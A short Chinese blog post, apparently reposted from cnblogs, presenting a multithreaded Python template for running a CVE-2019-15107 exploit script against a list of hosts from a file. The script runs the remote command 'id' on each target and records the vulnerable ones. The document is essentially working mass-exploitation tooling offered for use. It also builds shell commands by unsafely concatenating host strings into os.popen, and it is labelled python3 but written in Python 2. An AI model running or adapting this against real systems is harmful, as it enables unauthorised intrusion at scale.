python3 多线程批量验证POC模板

#coding:utf-8
import threading,Queue,sys,os
class RedisUN(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self._queue = queue
    def run(self):
        while True:
            if self._queue.empty():
                break
            try:
                ########################## 代码放入这##################################  
                var = "success" #成功的标识,在CVE_2019_15107.py 成功的判断里增加 print("success")
                url = 'https://'+ self._queue.get(timeout=0.5)
                print(url)
                r=os.popen('python CVE_2019_15107.py'+ " "+url+" "+"id") #调用的exp
                text = r.read()#获取cmd打印的结果
                if text == var:#当cmd输出结果出现success表示有漏洞,将结果存为result.txt
                    print(text)
                    f = open('result.txt','a+') #保存成功的结果
                    f.write(url + "  "+text+"\n") 
                
                #####################################################################
            except:
                continue
def main():
    thread_count = 10  #线程数
    threads = []
    queue = Queue.Queue()
    f = open("host.txt",'r') #读取txt里的ip
    sourceInLines = f.readlines()
    f.close()
    new = []
    for line in sourceInLines:
        temp1 = line.strip('\n')
        queue.put(temp1)
 
    for i in xrange(thread_count):
        threads.append(RedisUN(queue))
    for t in threads:
        t.start()
    for t in threads:
        t.join()
 
if __name__ == '__main__':
    f1 = open('result.txt','w')
    f1.close()
    main()

 

转载于:https://www.cnblogs.com/zuoxiaolongzzz/p/11503790.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值